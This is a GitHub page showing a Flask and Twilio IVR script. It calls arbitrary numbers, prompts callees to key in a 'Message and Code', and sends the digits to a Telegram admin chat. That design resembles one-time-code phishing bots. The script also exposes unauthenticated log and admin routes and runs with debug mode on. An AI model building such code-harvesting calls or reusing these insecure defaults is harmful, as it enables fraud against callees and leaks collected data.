-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathapp.py
More file actions
130 lines (110 loc) · 4.36 KB
/
app.py
File metadata and controls
130 lines (110 loc) · 4.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from flask import Flask, request, jsonify, render_template, Response
from twilio.rest import Client
from twilio.twiml.voice_response import VoiceResponse, Gather
from datetime import datetime
import sqlite3
import requests
app = Flask(__name__)
# ================= CONFIG =================
TWILIO_ACCOUNT_SID = ""
TWILIO_AUTH_TOKEN = ""
TWILIO_NUMBER = ""
twilio_client = Client(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)
TELEGRAM_BOT_TOKEN = ""
ADMIN_CHAT_ID = ""
DB_FILE = "ivr_logs.db"
# ================= DATABASE =================
def init_db():
with sqlite3.connect(DB_FILE) as conn:
conn.execute('''
CREATE TABLE IF NOT EXISTS ivr_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
caller TEXT,
receiver TEXT,
digits TEXT,
call_sid TEXT,
timestamp TEXT
)
''')
print("✅ Database initialized.")
def log_call(caller, receiver, digits, call_sid):
with sqlite3.connect(DB_FILE) as conn:
conn.execute(
"INSERT INTO ivr_logs (caller, receiver, digits, call_sid, timestamp) VALUES (?, ?, ?, ?, ?)",
(caller, receiver, digits, call_sid, datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
)
# ================= TELEGRAM ALERT =================
def send_telegram(msg):
try:
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
data = {"chat_id": ADMIN_CHAT_ID, "text": msg}
requests.post(url, data=data)
except Exception as e:
print("❌ Telegram Error:", e)
# ================= TWILIO OUTBOUND CALL =================
@app.route("/call_user", methods=["POST"])
def call_user():
user_number = request.form.get("to")
if not user_number:
return {"error": "Missing 'to' parameter"}, 400
try:
call = twilio_client.calls.create(
to=user_number,
from_=TWILIO_NUMBER,
url="http://yourip/voice", # Replace with your public HTTPS URL
method="POST"
)
return {"success": True, "call_sid": call.sid}
except Exception as e:
return {"success": False, "error": str(e)}
# ================= TWILIO IVR (Trial-Friendly) =================
@app.route("/voice", methods=["POST"])
def voice():
resp = VoiceResponse()
# Trial warning
resp.say("⚠️ You are using a Twilio trial number. This message will be removed once you upgrade.", voice="alice")
# Gather user digits
gather = Gather(
input="dtmf",
timeout=10,
num_digits=10, # allows multi-digit input
action="/gather",
method="POST"
)
gather.say("Welcome To Linux n Droid IVR. Type Your Message and Code, then press any number followed by the pound key, or wait until timeout..", voice="alice")
resp.append(gather)
resp.say("No input received. Goodbye.", voice="alice")
return Response(str(resp), mimetype="text/xml")
@app.route("/gather", methods=["POST"])
def gather():
digits = request.form.get("Digits", "")
call_sid = request.form.get("CallSid", "")
caller = request.form.get("From", "")
receiver = request.form.get("To", "")
# Log call & send Telegram
log_call(caller, receiver, digits, call_sid)
send_telegram(f"📞 IVR Input:\n👤 Caller: {caller}\n📱 To: {receiver}\n🔢 Digits: {digits}")
# Respond to caller
resp = VoiceResponse()
if digits:
resp.say(f"You entered {digits}. Thank you, goodbye.", voice="alice")
else:
resp.say("No input received. Goodbye.", voice="alice")
resp.hangup()
return Response(str(resp), mimetype="text/xml")
# ================= ADMIN PANEL =================
@app.route("/admin")
def admin_panel():
return render_template("admin.html")
@app.route("/api/logs")
def get_logs():
search = request.args.get("search", "")
query = "SELECT * FROM ivr_logs WHERE digits LIKE ? ORDER BY id DESC"
with sqlite3.connect(DB_FILE) as conn:
cur = conn.execute(query, (f"%{search}%",))
logs = [dict(zip([c[0] for c in cur.description], row)) for row in cur.fetchall()]
return jsonify(logs)
# ================= RUN SERVER =================
if __name__ == "__main__":
init_db()
app.run(host="0.0.0.0", port=80, debug=True)